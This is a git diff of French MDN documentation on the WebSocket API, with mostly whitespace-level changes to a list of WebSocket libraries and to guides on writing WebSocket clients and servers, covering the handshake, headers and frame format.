Evénement envoyé par l'objet WebSocket lors de la fermeture de la connexion. - [`MessageEvent`](/fr/docs/Web/API/MessageEvent) - - : Evénement envoyé par l'objet WebSocket lorsqu'un message est reçu par le serveur. + - : Evénement envoyé par l'objet WebSocket lorsqu'un message est reçu par le serveur. ## Guides @@ -39,19 +39,19 @@ L'**API WebSocket** est une technologie évoluée qui permet d'ouvrir un canal d ## Outils -- [HumbleNet](https://humblenet.github.io/) :Bibliothèque de réseau multiplateforme qui fonctionne dans un navigateur. Il s'agit bibliothèque écrite en C qui enveloppe WebSockets et WebRTC. Elle gomme toutes les différences qui existent entre les navigateurs et les logiciels, ce qui facilite la création d'une fonctionnalité de réseau multi-joueurs pour les jeux, par exemple, et autres applications. -- [µWebSockets](https://github.com/uWebSockets/uWebSockets): Déclinaison plus légère et plus performante de WebSocket et écrite en [C++11](https://isocpp.org/) et en [Node.js](https://nodejs.org/fr/). -- [ClusteWS](https://github.com/ClusterWS/ClusterWS): Framework léger, rapide et puissant qui permet de construire des application en [Node.js](https://nodejs.org/fr/). -- [Socket.IO](http://socket.io): API WebSocket puissante et multiplateformes en [Node.js](http://nodejs.org). -- [SocketCluster](https://socketcluster.io/#!/): Framework open source en temps réel en [Node.js](http://nodejs.org). Il prend en charge à la fois la communication directe client-serveur et la communication de groupe via les pub/sub canaux. Il est conçu pour s'adapter facilement à n'importe quel nombre de processus/hôtes et est idéal pour construire de chat de discution. +- [HumbleNet](https://humblenet.github.io/) :Bibliothèque de réseau multiplateforme qui fonctionne dans un navigateur. Il s'agit bibliothèque écrite en C qui enveloppe WebSockets et WebRTC. Elle gomme toutes les différences qui existent entre les navigateurs et les logiciels, ce qui facilite la création d'une fonctionnalité de réseau multi-joueurs pour les jeux, par exemple, et autres applications. +- [µWebSockets](https://github.com/uWebSockets/uWebSockets): Déclinaison plus légère et plus performante de WebSocket et écrite en [C++11](https://isocpp.org/) et en [Node.js](https://nodejs.org/fr/). +- [ClusteWS](https://github.com/ClusterWS/ClusterWS): Framework léger, rapide et puissant qui permet de construire des application en [Node.js](https://nodejs.org/fr/). +- [Socket.IO](http://socket.io): API WebSocket puissante et multiplateformes en [Node.js](http://nodejs.org). +- [SocketCluster](https://socketcluster.io/#!/): Framework open source en temps réel en [Node.js](http://nodejs.org). Il prend en charge à la fois la communication directe client-serveur et la communication de groupe via les pub/sub canaux. Il est conçu pour s'adapter facilement à n'importe quel nombre de processus/hôtes et est idéal pour construire de chat de discution. - [Node.js](http://nodejs.org). -- [Total.js](https://www.totaljs.com/): FrameWork pour web application en [Node.js](http://nodejs.org). -- [Faye](https://www.npmjs.com/package/faye-websocket): Combine WebSocket(bidirectionnelle) et EventSource(unidirectionnelle) , côté serveur et côté client en [Node.js](http://nodejs.org). -- [SignalR](http://signalr.net/): SignalR est une nouvelle bibliothèque pour les développeurs [ASP.NET](https://dotnet.microsoft.com/apps/aspnet). Elle simplifie l'ajout des WebSockets dans les applications. SignalR utilise les canaux de WebSockets lorsqu'elles sont disponibles, dans le cas contraire elle utilise d'autres technos, sans modifier votre application. -- [Caddy](https://caddyserver.com/docs/websocket): Serveur web capable de créer des WebSockets serveur/proxy(stdin/stdout, echo, cat, ...). -- [ws](https://github.com/websockets/ws): La plus populaire des WebSockets pour client & serveur en [Node.js](http://nodejs.org). +- [Total.js](https://www.totaljs.com/): FrameWork pour web application en [Node.js](http://nodejs.org). +- [Faye](https://www.npmjs.com/package/faye-websocket): Combine WebSocket(bidirectionnelle) et EventSource(unidirectionnelle) , côté serveur et côté client en [Node.js](http://nodejs.org). +- [SignalR](http://signalr.net/): SignalR est une nouvelle bibliothèque pour les développeurs [ASP.NET](https://dotnet.microsoft.com/apps/aspnet). Elle simplifie l'ajout des WebSockets dans les applications. SignalR utilise les canaux de WebSockets lorsqu'elles sont disponibles, dans le cas contraire elle utilise d'autres technos, sans modifier votre application. +- [Caddy](https://caddyserver.com/docs/websocket): Serveur web capable de créer des WebSockets serveur/proxy(stdin/stdout, echo, cat, ...). +- [ws](https://github.com/websockets/ws): La plus populaire des WebSockets pour client & serveur en [Node.js](http://nodejs.org). - [jsonrpc-bidirectional](https://github.com/bigstepinc/jsonrpc-bidirectional): Asynchronous RPC which, on a single connection, may have functions exported on the server and, and the same time, on the client (client may call server, server may also call client). -- [cowboy](https://github.com/ninenines/cowboy): Cowboy est un petit serveur HTTP rapide et moderne pour Erlang/OTP basé sur WebSocket. +- [cowboy](https://github.com/ninenines/cowboy): Cowboy est un petit serveur HTTP rapide et moderne pour Erlang/OTP basé sur WebSocket. ## Ressources liées diff --git a/files/fr/web/api/websockets_api/writing_a_websocket_server_in_java/index.md b/files/fr/web/api/websockets_api/writing_a_websocket_server_in_java/index.md index 19714ade67..eb75b9dab1 100644 --- a/files/fr/web/api/websockets_api/writing_a_websocket_server_in_java/index.md +++ b/files/fr/web/api/websockets_api/writing_a_websocket_server_in_java/index.md @@ -20,7 +20,7 @@ WebSockets communique via une connexion [TCP (Transmission Control Protocol)](ht Constructeur : ```java -ServerSocket(int port) +ServerSocket(int port) ``` Lors de l'instanciation de la classe ServerSocket, celle-ci est liée au numéro de port renseigné par le paramètre _port_. @@ -58,7 +58,7 @@ Méthodes : Méthode : ```java -write(byte[] b, int off, int len) +write(byte[] b, int off, int len) ``` En débutant à partir de la position _off_, écrit _`len`_ octets du tableau d'octets fourni. @@ -68,7 +68,7 @@ En débutant à partir de la position _off_, écrit _`len`_ octets du tableau d' Méthodes : ```java -read(byte[] b, int off, int len) +read(byte[] b, int off, int len) ``` Reads up to _len_ bytes of data from the input stream into an array of bytes. diff --git a/files/fr/web/api/websockets_api/writing_websocket_client_applications/index.md b/files/fr/web/api/websockets_api/writing_websocket_client_applications/index.md index 4becad44ad..8d22b4ff58 100644 --- a/files/fr/web/api/websockets_api/writing_websocket_client_applications/index.md +++ b/files/fr/web/api/websockets_api/writing_websocket_client_applications/index.md @@ -3,7 +3,7 @@ title: Ecrire des applications client WebSocket slug: Web/API/WebSockets_API/Writing_WebSocket_client_applications translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications --- -Les WebSockets représentent une technologie, basée sur le protocole web socket, qui permet d'établir une session de communication bilatérale entre un navigateur web et un serveur. Un navigateur web est un exemple typique de client websocket typique mais le protocole n'est dépendant d'aucune plateforme. +Les WebSockets représentent une technologie, basée sur le protocole web socket, qui permet d'établir une session de communication bilatérale entre un navigateur web et un serveur. Un navigateur web est un exemple typique de client websocket typique mais le protocole n'est dépendant d'aucune plateforme. > **Note :** Un exemple d'utilisation des WebSockets à travers un système de chat sera mis à disposition sous forme de code dès que nos infrastructures seront en mesure de supporter les WebSockets. @@ -16,19 +16,19 @@ Pour utiliser le protocole WebSocket, il faut créer un objet [`WebSocket`](/en/ Le constructeur WebSocket accepte un paramètre obligatoire et un paramètre optionnel : WebSocket WebSocket( - in DOMString url, - in optional DOMString protocols + in DOMString url, + in optional DOMString protocols ); WebSocket WebSocket( - in DOMString url, - in optional DOMString[] protocols + in DOMString url, + in optional DOMString[] protocols ); - `url` - : L'URL à laquelle le client se connecte, et le serveur répond. - `protocols` {{ optional_inline() }} - - : Soit une chaîne décrivant un protocole unique, soit une liste de chaînes décrivant chacune un protocole. Ces chaînes permettent d'indiquer des sous-protocoles, de façon à ce qu'un serveur puisse implémenter plusieurs sous-protocoles WebSocket (par example, on pourrait vouloir qu'un serveur soit capable de traiter différents types d'interactions en fonction du protocole spécifié). Si aucun protocole n'est spécifié, l'argument prend la valeur d'une chaîne vide. + - : Soit une chaîne décrivant un protocole unique, soit une liste de chaînes décrivant chacune un protocole. Ces chaînes permettent d'indiquer des sous-protocoles, de façon à ce qu'un serveur puisse implémenter plusieurs sous-protocoles WebSocket (par example, on pourrait vouloir qu'un serveur soit capable de traiter différents types d'interactions en fonction du protocole spécifié). Si aucun protocole n'est spécifié, l'argument prend la valeur d'une chaîne vide. Le constructeur peut renvoyer des exceptions: @@ -39,13 +39,13 @@ Le constructeur peut renvoyer des exceptions: ### Erreurs de connexion -Si une erreur se produit lors de la tentative de connexion, un évènement nommé "error" est d'abord renvoyé à l'objet [`WebSocket`](/en/WebSockets/WebSockets_reference/WebSocket) (invoquant ainsi son gestionnaire d'évènement `onerror`) suivi d'un évènement [`CloseEvent`](/en/WebSockets/WebSockets_reference/CloseEvent) (qui invoque alors son gestionnaire d'évènement `onclose`) indiquant la raison de la clôture. +Si une erreur se produit lors de la tentative de connexion, un évènement nommé "error" est d'abord renvoyé à l'objet [`WebSocket`](/en/WebSockets/WebSockets_reference/WebSocket) (invoquant ainsi son gestionnaire d'évènement `onerror`) suivi d'un évènement [`CloseEvent`](/en/WebSockets/WebSockets_reference/CloseEvent) (qui invoque alors son gestionnaire d'évènement `onclose`) indiquant la raison de la clôture. A partir de Firefox 11, un message d'erreur descriptif est envoyé à la console de la plateforme Mozilla, et un code de fermeture tel que défini dans la [RFC 6455, Section 7.4](http://tools.ietf.org/html/rfc6455#section-7.4) est envoyé à travers l'évènement [`CloseEvent`](/en/WebSockets/WebSockets_reference/CloseEvent). ### Exemples -Cet exemple simple crée un nouvel objet WebSocket, qui se connecte au serveur à l'adresse `ws://www.example.com/socketserver`. Un protocole spécifique "protocolOne" est indiqué dans cette exemple, bien qu'il ne soit pas obligatoire. +Cet exemple simple crée un nouvel objet WebSocket, qui se connecte au serveur à l'adresse `ws://www.example.com/socketserver`. Un protocole spécifique "protocolOne" est indiqué dans cette exemple, bien qu'il ne soit pas obligatoire. ```js var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne"); @@ -61,13 +61,13 @@ var exampleSocket = new WebSocket("ws://www.example.com/socketserver", ["protoco Une fois la connexion établie (c'est-à-dire quand `readyState` a la valeur `OPEN`), la propriété `protocol` indique quel protocole le server a sélectionné. -Dans les exemples ci-dessus on a remplacé `http` par `ws`, et de la même façon on peut remplacer `https` par `wss` . L'établissement d'une connexion WebSocket repose sur le méchanisme HTTP Upgrade, donc la requête pour l'upgrade de protocole est implicite lorsqu'on s'adresse au server HTTP avec `ws://www.example.com` ou `wss://www.example.com`. +Dans les exemples ci-dessus on a remplacé `http` par `ws`, et de la même façon on peut remplacer `https` par `wss` . L'établissement d'une connexion WebSocket repose sur le méchanisme HTTP Upgrade, donc la requête pour l'upgrade de protocole est implicite lorsqu'on s'adresse au server HTTP avec `ws://www.example.com` ou `wss://www.example.com`. ## Envoi de données vers le serveur -Une fois la connexion ouverte on peut commencer à tranférer des données vers le serveur en appelant la méthode [`send()`](</en/WebSockets/WebSockets_reference/WebSocket#send()>) de l'objet `WebSocket` pour chaque message que l'on veut envoyer : +Une fois la connexion ouverte on peut commencer à tranférer des données vers le serveur en appelant la méthode [`send()`](</en/WebSockets/WebSockets_reference/WebSocket#send()>) de l'objet `WebSocket` pour chaque message que l'on veut envoyer : -Les données peuvent être envoyées sous forme de chaîne {{ domxref("Blob") }} ou de [`ArrayBuffer`](/en/JavaScript_typed_arrays/ArrayBuffer). +Les données peuvent être envoyées sous forme de chaîne {{ domxref("Blob") }} ou de [`ArrayBuffer`](/en/JavaScript_typed_arrays/ArrayBuffer). > **Note :** Avant la version 11, Firefox supportait l'envoi de données uniquement sous forme de chaîne. @@ -75,7 +75,7 @@ Comme l'établissement d'une connexion est asynchrone, et peut potentiellemet é ```js exampleSocket.onopen = function (event) { - exampleSocket.send("Voici un texte que le serveur attend de recevoir dès que possible !"); + exampleSocket.send("Voici un texte que le serveur attend de recevoir dès que possible !"); }; ``` @@ -88,20 +88,20 @@ Il peut être utile d'utiliser [JSON](/en/JSON) pour envoyer des données comple function sendText() { // Création d'un objet msg qui contient les données // dont le serveur a besoin pour traiter le message - var msg = { - type: "message", - text: document.getElementById("text").value, - id: clientID, - date: Date.now() - }; + var msg = { + type: "message", + text: document.getElementById("text").value, + id: clientID, + date: Date.now() + }; - // Envoi de l'objet msg à travers une chaîne formatée en JSON - exampleSocket.send(JSON.stringify(msg)); + // Envoi de l'objet msg à travers une chaîne formatée en JSON + exampleSocket.send(JSON.stringify(msg)); - // Efface le texte de l'élément input + // Efface le texte de l'élément input // afin de recevoir la prochaine ligne de texte // que l'utilisateur va saisir - document.getElementById("text").value = ""; + document.getElementById("text").value = ""; } ``` @@ -110,8 +110,8 @@ function sendText() { WebSockets est une API orientée évènement; lorsqu'elle reçoit un message, un évènement "message" est envoyé au gestionnaire d'évènement `onmessage`. Pour écouter les données reçues, on peut écrire quelque chose comme: ```js -exampleSocket.onmessage = function (event) { - console.log(event.data); +exampleSocket.onmessage = function (event) { + console.log(event.data); } ``` diff --git a/files/fr/web/api/websockets_api/writing_websocket_servers/index.md b/files/fr/web/api/websockets_api/writing_websocket_servers/index.md index 934dc5e14f..87fc5cf908 100644 --- a/files/fr/web/api/websockets_api/writing_websocket_servers/index.md +++ b/files/fr/web/api/websockets_api/writing_websocket_servers/index.md @@ -3,15 +3,15 @@ title: Écriture de serveurs WebSocket slug: Web/API/WebSockets_API/Writing_WebSocket_servers translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers --- -Un serveur WebSocket est une application TCP qui écoute sur n'importe quel port d'un serveur et suit un protocole spécifique, c'est aussi simple que cela. La création de son propre serveur TCP est quelque chose qui a tendance à effrayer alors qu'il n'est pas forcément très complexe de créer un serveur WebScoket sur la plateforme de votre choix. +Un serveur WebSocket est une application TCP qui écoute sur n'importe quel port d'un serveur et suit un protocole spécifique, c'est aussi simple que cela. La création de son propre serveur TCP est quelque chose qui a tendance à effrayer alors qu'il n'est pas forcément très complexe de créer un serveur WebScoket sur la plateforme de votre choix. Un serveur WebSocket peut être écrit dans n'importe quel language de programmation qui supporte les "[Berkeley sockets](https://fr.wikipedia.org/wiki/Berkeley_sockets)", par exemple C(++), python ou même PHP et JavaScript (avec nodejs). Ceci n'est pas un tutoriel destiné à un language particulier mais un guide aidant à l'écriture de votre propre serveur. Avant de débuter, vous **devez** connaître précisément le fonctionnement du protocole HTTP et disposer d'une certaine expérience sur celui-ci. Des connaissances sur les sockets TCP dans votre langage de développement est également précieux. Ce guide ne présente ainsi que le _minimum_ des connaissances requises et non un guide ultime. -> **Note :** Lire la dernière spécification officielle sur les WebSockets [RFC 6455](http://datatracker.ietf.org/doc/rfc6455/?include_text=1). Les sections 1 et 4-7 sont particulièrement intéressantes pour ce qui nous occupe. La section 10 évoque la sécurité et doit être connue et mise en oeuvre avant d'exposer votre serveur au-delà du réseau local / lors de la mise en production. +> **Note :** Lire la dernière spécification officielle sur les WebSockets [RFC 6455](http://datatracker.ietf.org/doc/rfc6455/?include_text=1). Les sections 1 et 4-7 sont particulièrement intéressantes pour ce qui nous occupe. La section 10 évoque la sécurité et doit être connue et mise en oeuvre avant d'exposer votre serveur au-delà du réseau local / lors de la mise en production. -Un serveur WebSocket est compris ici en "bas niveau" (_c'est-à-dire plus proche du langage machine que du langage humain_. Les WebSockets sont souvent séparés et spécialisés vis-à-vis de leurs homologues serveurs (pour des questions de montées en charge ou d'autres raisons), donc vous devez souvent utiliser un [proxy inverse](https://fr.wikipedia.org/wiki/Proxy_inverse) (_c'est-à-dire de l'extérieur vers l'intérieur du réseau local, comme pour un serveur HTTP classique_) pour détecter les "poignées de mains" spécifiques au WebSocket, qui précédent l'échange et permettent d'aiguiller les clients vers le bon logiciel. Dans ce cas, vous ne devez pas ajouter à votre serveur des *cookies* et d'autres méthodes d'authentification. +Un serveur WebSocket est compris ici en "bas niveau" (_c'est-à-dire plus proche du langage machine que du langage humain_. Les WebSockets sont souvent séparés et spécialisés vis-à-vis de leurs homologues serveurs (pour des questions de montées en charge ou d'autres raisons), donc vous devez souvent utiliser un [proxy inverse](https://fr.wikipedia.org/wiki/Proxy_inverse) (_c'est-à-dire de l'extérieur vers l'intérieur du réseau local, comme pour un serveur HTTP classique_) pour détecter les "poignées de mains" spécifiques au WebSocket, qui précédent l'échange et permettent d'aiguiller les clients vers le bon logiciel. Dans ce cas, vous ne devez pas ajouter à votre serveur des *cookies* et d'autres méthodes d'authentification. ## La "poignée de mains" du WebSocket @@ -19,9 +19,9 @@ En tout premier lieu, le serveur doit écouter les connexions sockets entrantes > **Attention :** Si le serveur peut écouter n'importe quel port, mais que vous décidez de ne pas utiliser un port standard (80 ou 443 pour SSL), cela peut créer en avant des problèmes avec les parefeux et/ou les proxys. De plus, gardez en mémoire que certains navigateur Web (notablement Firefox 8+), n'autorisent pas les connexions WebSocket non-SSL sur une page SSL. -La *poignée de mains* est la partie "Web" dans les WebSockets : c'est le pont entre le protocole HTTP et le WebSocket. Durant cette poignée, les détails (les paramètres) de la connexion sont négociés et l'une des parties peut interromptre la transaction avant la fin si l'un des termes ne lui est pas autorisé / ne lui est pas possible. Le serveur doit donc être attentif à comprendre parfaitement les demandes et attentes du client, sans quoi des procédures de sécurité seront déclenchées. +La *poignée de mains* est la partie "Web" dans les WebSockets : c'est le pont entre le protocole HTTP et le WebSocket. Durant cette poignée, les détails (les paramètres) de la connexion sont négociés et l'une des parties peut interromptre la transaction avant la fin si l'un des termes ne lui est pas autorisé / ne lui est pas possible. Le serveur doit donc être attentif à comprendre parfaitement les demandes et attentes du client, sans quoi des procédures de sécurité seront déclenchées. -### La requête de _poignée de mains_ côté client +### La requête de _poignée de mains_ côté client Même si vous construisez votre serveur au profit des WebSockets, votre client doit tout de même démarrer un processus dit de _poignée de main_. Vous devez donc savoir comment interprêter cette requête. En premier, le **client** enverra tout d'abord une requête HTTP correctement formée. La requête **doit** être à la version 1.1 ou supérieure et la méthode **doit** être de type GET : @@ -32,40 +32,40 @@ Même si vous construisez votre serveur au profit des WebSockets, votre client d Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13 -Le client peut solliciter des extensions de protocoles ou des sous-protocoles à cet instant ; voir [Miscellaneous](#Miscellaneous) pour les détails. En outre, des en-têtes communs tel que _User-Agent_, _Referer_, *Cookie* ou des en-têtes d'authentification peuvent être envoyés par la même requête : leur usage est laissé libre car ils ne se rapportent pas directement au WebSocket et au processus de poignée de main. A ce titre il semble préférable de les ignorer : d'ailleurs dans de nombreuses configurations communes, un proxy inverse les aura finalement déjà traitées. +Le client peut solliciter des extensions de protocoles ou des sous-protocoles à cet instant ; voir [Miscellaneous](#Miscellaneous) pour les détails. En outre, des en-têtes communs tel que _User-Agent_, _Referer_, *Cookie* ou des en-têtes d'authentification peuvent être envoyés par la même requête : leur usage est laissé libre car ils ne se rapportent pas directement au WebSocket et au processus de poignée de main. A ce titre il semble préférable de les ignorer : d'ailleurs dans de nombreuses configurations communes, un proxy inverse les aura finalement déjà traitées. -Si un des entêtes n'est pas compris ou sa valeur n'est pas correcte, le serveur devrait envoyer une réponse "[400 Bad Request](/en-US/docs/HTTP/Response_codes#400)" (_erreur 400 : la requête est incorrecte_) et clore immédiatement la connexion. Il peut par ailleurs indiquer la raison pour laquelle la poignée de mains a échoué dans le corps de réponse HTTP, mais le message peut ne jamais être affiché par le navigateur (_en somme, tout dépend du comportement du client_). Si le serveur ne comprend pas la version de WebSockets présentée, il doit envoyer dans la réponse un entête _Sec-WebSocket-Version_ correspondant à la ou les version-s supportée-s. Ici le guide explique la version 13, la plus récente à l'heure de l'écriture du tutoriel (_voir le tutoriel en version anglaise pour la date exacte ; il s'agit là d'une traduction_). Maintenant, nous allons passer à l'entête attendu : *Sec-WebSocket-Key*. +Si un des entêtes n'est pas compris ou sa valeur n'est pas correcte, le serveur devrait envoyer une réponse "[400 Bad Request](/en-US/docs/HTTP/Response_codes#400)" (_erreur 400 : la requête est incorrecte_) et clore immédiatement la connexion. Il peut par ailleurs indiquer la raison pour laquelle la poignée de mains a échoué dans le corps de réponse HTTP, mais le message peut ne jamais être affiché par le navigateur (_en somme, tout dépend du comportement du client_). Si le serveur ne comprend pas la version de WebSockets présentée, il doit envoyer dans la réponse un entête _Sec-WebSocket-Version_ correspondant à la ou les version-s supportée-s. Ici le guide explique la version 13, la plus récente à l'heure de l'écriture du tutoriel (_voir le tutoriel en version anglaise pour la date exacte ; il s'agit là d'une traduction_). Maintenant, nous allons passer à l'entête attendu : *Sec-WebSocket-Key*. -> **Note :** Un grand nombre de navigateurs enverront un [`Entête d'origine`](/en-US/docs/HTTP/Access_control_CORS#Origin). Vous pouvez alors l'utiliser pour vérifier la sécurité de la transaction (par exemple vérifier la similitude des domaines, listes blanches ou noires, etc.) et éventuellement retourner une réponse [403 Forbidden](/en-US/docs/HTTP/Response_codes#403) si l'origine ne vous plaît pas. Toutefois garder à l'esprit que cet entête peut être simulé ou trompeur (il peut être ajouté manuellement ou lors du transfert). De nombreuses applications refusent les transactions sans celui-ci. +> **Note :** Un grand nombre de navigateurs enverront un [`Entête d'origine`](/en-US/docs/HTTP/Access_control_CORS#Origin). Vous pouvez alors l'utiliser pour vérifier la sécurité de la transaction (par exemple vérifier la similitude des domaines, listes blanches ou noires, etc.) et éventuellement retourner une réponse [403 Forbidden](/en-US/docs/HTTP/Response_codes#403) si l'origine ne vous plaît pas. Toutefois garder à l'esprit que cet entête peut être simulé ou trompeur (il peut être ajouté manuellement ou lors du transfert). De nombreuses applications refusent les transactions sans celui-ci. > **Note :** L'URI de la requête (`/chat` dans notre cas) n'a pas de signification particulièrement dans les spécifications en usage : elle permet simplement, par convention, de disposer d'une multitude d'applications en parallèle grâce à WebSocket. Par exemple, `exemple.com/chat` peut être associée à une API/une application de dialogue multiutilisateurs lorsque `/game` invoquera son homologue pour un jeu. -> **Note :** [Les codes réguliers (_c-à-d défini par le protocole standard_) HTTP](/en-US/docs/HTTP/Response_codes) ne peuvent être utilisés qu'**_avant_** la poignée : ceux après la poignée, sont définis d'une manière spécifique dans la section 7.4 de la documentation sus-nommée. +> **Note :** [Les codes réguliers (_c-à-d défini par le protocole standard_) HTTP](/en-US/docs/HTTP/Response_codes) ne peuvent être utilisés qu'**_avant_** la poignée : ceux après la poignée, sont définis d'une manière spécifique dans la section 7.4 de la documentation sus-nommée. -### La réponse du serveur lors de la poignée de mains +### La réponse du serveur lors de la poignée de mains -Lorsqu'il reçoit la requête du client, le serveur doit envoyer une réponse correctement formée dans un format non-standard HTTP et qui ressemble au code ci-dessous. Gardez à l'esprit que chaque entête se termine par un saut de ligne : *\r\n* ; un saut de ligne doublé lors de l'envoi du dernier entête pour séparer du reste du corps (même si celui-ci est vide). +Lorsqu'il reçoit la requête du client, le serveur doit envoyer une réponse correctement formée dans un format non-standard HTTP et qui ressemble au code ci-dessous. Gardez à l'esprit que chaque entête se termine par un saut de ligne : *\r\n* ; un saut de ligne doublé lors de l'envoi du dernier entête pour séparer du reste du corps (même si celui-ci est vide). HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= -En sus, le serveur peut décider de proposer des extensions de protocoles ou des sous-protocoles à cet instant ; voir [Miscellaneous](#Miscellaneous) pour les détails. L'entête Sec-WebSocket-Accept nous intéresse ici : le serveur doit la former depuis l'entête Sec-WebSocket-Key envoyée précédemment par le client. Pour l'obtenir, vous devez concaténater (_rassembler_) la valeur de *Sec-WebSocket-Key* et "_258EAFA5-E914-47DA-95CA-C5AB0DC85B11_" (valeur fixée par défaut : c'est une "[magic string](https://en.wikipedia.org/wiki/Magic_string)") puis procéder au hash par la méthode [SHA-1](https://en.wikipedia.org/wiki/SHA-1) du résultat et retourner le format au format [base64](https://en.wikipedia.org/wiki/Base64). +En sus, le serveur peut décider de proposer des extensions de protocoles ou des sous-protocoles à cet instant ; voir [Miscellaneous](#Miscellaneous) pour les détails. L'entête Sec-WebSocket-Accept nous intéresse ici : le serveur doit la former depuis l'entête Sec-WebSocket-Key envoyée précédemment par le client. Pour l'obtenir, vous devez concaténater (_rassembler_) la valeur de *Sec-WebSocket-Key* et "_258EAFA5-E914-47DA-95CA-C5AB0DC85B11_" (valeur fixée par défaut : c'est une "[magic string](https://en.wikipedia.org/wiki/Magic_string)") puis procéder au hash par la méthode [SHA-1](https://en.wikipedia.org/wiki/SHA-1) du résultat et retourner le format au format [base64](https://en.wikipedia.org/wiki/Base64). -> **Note :** Ce processus qui peut paraître inutilement complexe, permet de certifier que le serveur et le client sont bien sur une base WebSocket et non une requête HTTP (qui serait alors mal interprétée). +> **Note :** Ce processus qui peut paraître inutilement complexe, permet de certifier que le serveur et le client sont bien sur une base WebSocket et non une requête HTTP (qui serait alors mal interprétée). -Ainsi si la clé (la valeur de l'entête du client) était "`dGhlIHNhbXBsZSBub25jZQ==`", le retour (_Accept \* dans la version d'origine du tutoriel_) sera : "`s3pPLMBiTxaQ9kYGzzhZRbK+xOo=`". Une fois que le serveur a envoyé les entêtes attendues, alors la poignée de mains est considérée comme effectuée et vous pouvez débuter l'échange de données ! +Ainsi si la clé (la valeur de l'entête du client) était "`dGhlIHNhbXBsZSBub25jZQ==`", le retour (_Accept \* dans la version d'origine du tutoriel_) sera : "`s3pPLMBiTxaQ9kYGzzhZRbK+xOo=`". Une fois que le serveur a envoyé les entêtes attendues, alors la poignée de mains est considérée comme effectuée et vous pouvez débuter l'échange de données ! -> **Note :** Le serveur peut envoyer à ce moment, d'autres entêtes comme par exemple Set-Cookie, ou demander une authenficiation ou encore une redirection via les codes standards HTTP et ce **avant** la fin du processus de poignée de main. +> **Note :** Le serveur peut envoyer à ce moment, d'autres entêtes comme par exemple Set-Cookie, ou demander une authenficiation ou encore une redirection via les codes standards HTTP et ce **avant** la fin du processus de poignée de main. -### Suivre les clients confirmés +### Suivre les clients confirmés -Cela ne concerne pas directement le protocole WebSocket, mais mérite d'être mentionné maintenant : votre serveur pourra suivre le socket client : il ne faut donc pas tenter une poignée de mains supplémentaire avec un client déjà confirmé. Un même client avec la même IP pourrait alors se connecter à de multiples reprises, mais être finalement rejeté et dénié par le serveur si les tentatives sont trop nombreuses selon les règles pouvant être édictées pour éviter les attaques dites de [déni de service](https://en.wikipedia.org/wiki/Denial_of_service). +Cela ne concerne pas directement le protocole WebSocket, mais mérite d'être mentionné maintenant : votre serveur pourra suivre le socket client : il ne faut donc pas tenter une poignée de mains supplémentaire avec un client déjà confirmé. Un même client avec la même IP pourrait alors se connecter à de multiples reprises, mais être finalement rejeté et dénié par le serveur si les tentatives sont trop nombreuses selon les règles pouvant être édictées pour éviter les attaques dites de [déni de service](https://en.wikipedia.org/wiki/Denial_of_service). -## L'échange de trames de données +## L'échange de trames de données -Le client ou le serveur peuvent choisir d'envoyer un message à n'importe quel moment à partir de la fin du processus de poignée de mains : c'est la magie des WebSockets (une connexion permanente). Cependant, l'extraction d'informations à partir des trames de données n'est pas une expérience si... magique. Bien que toutes les trames suivent un même format spécifique, les données allant du client vers le serveur sont masquées en utilisant le [cryptage XOR](https://en.wikipedia.org/wiki/XOR_cipher) (avec une clé de 32 bits). L'article 5 de la spécification décrit en détail ce processus. +Le client ou le serveur peuvent choisir d'envoyer un message à n'importe quel moment à partir de la fin du processus de poignée de mains : c'est la magie des WebSockets (une connexion permanente). Cependant, l'extraction d'informations à partir des trames de données n'est pas une expérience si... magique. Bien que toutes les trames suivent un même format spécifique, les données allant du client vers le serveur sont masquées en utilisant le [cryptage XOR](https://en.wikipedia.org/wiki/XOR_cipher) (avec une clé de 32 bits). L'article 5 de la spécification décrit en détail ce processus. ### Format @@ -73,66 +73,66 @@ Le client ou le serveur peuvent choisir d'envoyer un message à n'importe quel m Chaque trame (dans un sens ou dans un autre) suit le schéma suivant : - 0 1 2 3 - 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 + 0 1 2 3 + 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 +-+-+-+-+-------+-+-------------+-------------------------------+ - |F|R|R|R| opcode|M| Payload len | Extended payload length | - |I|S|S|S| (4) |A| (7) | (16/64) | - |N|V|V|V| |S| | (if payload len==126/127) | - | |1|2|3| |K| | | + |F|R|R|R| opcode|M| Payload len | Extended payload length | + |I|S|S|S| (4) |A| (7) | (16/64) | + |N|V|V|V| |S| | (if payload len==126/127) | + | |1|2|3| |K| | | +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - + - 4 5 6 7 + 4 5 6 7 + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - | Extended payload length continued, if payload len == 127 | + | Extended payload length continued, if payload len == 127 | + - - - - - - - - - - - - - - - +-------------------------------+ - 8 9 10 11 + 8 9 10 11 + - - - - - - - - - - - - - - - +-------------------------------+ - | |Masking-key, if MASK set to 1 | + | |Masking-key, if MASK set to 1 | +-------------------------------+-------------------------------+ - 12 13 14 15 + 12 13 14 15 +-------------------------------+-------------------------------+ - | Masking-key (continued) | Payload Data | + | Masking-key (continued) | Payload Data | +-------------------------------- - - - - - - - - - - - - - - - + - : Payload Data continued ... : + : Payload Data continued ... : + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - | Payload Data continued ... | + | Payload Data continued ... | +---------------------------------------------------------------+ RSV1-3 peuvent être ignorés, ils concernent les extensions. -Le masquage de bits indique simplement si le message a été codé. Les messages du client doivent être masquée, de sorte que votre serveur doit attendre qu'il soit à 1. (_l'article 5.1 de la spécification prévoit que votre serveur doit se déconnecter d'un client si celui-ci envoie un message non masqué_). Lors de l'envoi d'une trame au client, ne masquez pas et ne réglez pas le bit de masque - cela sera expliqué plus tard. +Le masquage de bits indique simplement si le message a été codé. Les messages du client doivent être masquée, de sorte que votre serveur doit attendre qu'il soit à 1. (_l'article 5.1 de la spécification prévoit que votre serveur doit se déconnecter d'un client si celui-ci envoie un message non masqué_). Lors de l'envoi d'une trame au client, ne masquez pas et ne réglez pas le bit de masque - cela sera expliqué plus tard. 